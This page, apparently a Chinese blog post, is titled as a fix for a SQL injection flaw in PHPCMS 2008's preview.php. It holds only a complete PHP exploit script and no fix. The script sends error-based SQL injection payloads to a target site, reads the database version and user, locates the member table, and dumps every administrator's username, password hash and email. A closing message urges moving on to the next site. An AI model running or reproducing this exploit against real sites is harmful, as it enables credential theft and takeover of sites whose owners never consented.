phpcms的/preview.phpSQL注入漏洞修复方法

<?php
/**
* Date: 24-11-24
* Time: 下午8:36
* Name: phpcms2008_preview.php
* 独自等待博客：http:// .waitalone.cn/
*/
print_r('
+------------------------------------------------------+
PHPCMS2008 preview.php 注入EXP
Site：http:// .waitalone.cn/
Exploit BY： 独自等待
Time：2013-11-24
+------------------------------------------------------+
');
if($argc <3){
print_r('
+------------------------------------------------------+
Useage: php '. $argv[0].' host path
Host: target server (ip/hostname)
Path: path of phpcms
Example: php '. $argv[0].' localhost /phpcms
+------------------------------------------------------+
');
exit;
}
error_reporting(7);
//统计时间
$start_time = func_time();
$host = $argv[1];
$path = $argv[2];
$cookie ='';//请把会员cookie写入此变量中
if($cookie =='')exit('请注册会员后写入cookie到cookie变量中。');
if(preg_match('/MySQL Query/i', send_pack("'"))){
//数据库版本
$db_ver ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
echo '数据库版本：'. get_info($db_ver)."\n";
//数据库用户
$db_user ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
echo '数据库用户：'. get_info($db_user)."\n";
//获取用户表
$db_member ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() and table_name like '%_member%' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
$member = get_info($db_member);
//获取管理员数量
$db_count ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,count(*),0x7e) FROM $member where groupid=1 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
$ad_count = get_info($db_count);
echo '管理员表 有--['. $ad_count .']--个管理员'."\n";
//显示注入数据
foreach(range(0,($ad_count -1))as $i){
$ad_pass ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,email,0x7e) FROM $member where groupid=1 LIMIT $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
echo '管理员['.($i +1).']-->'. get_info($ad_pass)."\n";
}
}else{
exit("报告大人，网站不存在此漏洞,你可以继续秒下一个!\n");
}
//提取返回信息
function get_info($info)
{
preg_match('/~(.*?)~1/i', send_pack($info), $match_string);
if(preg_match('/charset=utf-8/i', send_pack($info))){
return iconv('utf-8','gbk//IGNORE', $match_string[1]);
}else{
return $match_string[1];
}
}
//发送数据包函数
function send_pack($cmd)
{
global $host, $path, $cookie;
$data ="GET ". $path ."/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2". urlencode($cmd)." HTTP/1.1\r\n";
$data .="Host: ". $host ."\r\n";
$data .="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0\r\n";
$data .="Cookie:". $cookie ."\r\n";
$data .="Connection: Close\r\n\r\n";
//echo $data;
//这里一定要2个\r\n否则将会一直等待并且不返回数据
$fp =@fsockopen($host,80, $errno, $errstr,30);
//echo ini_get('default_socket_timeout');//默认超时时间为60秒
if(!$fp){
echo $errno .'-->'. $errstr;
exit('Could not connect to: '. $host);
}else{
fwrite($fp, $data);
$back ='';
while(!feof($fp)){
$back .= fread($fp,1024);
}
fclose($fp);
}
return $back;
}
//时间统计函数
function func_time()
{
list($microsec, $sec)= explode(' ', microtime());
return $microsec + $sec;
}
echo '脚本执行时间：'. round((func_time()- $start_time),4).'秒。';
?>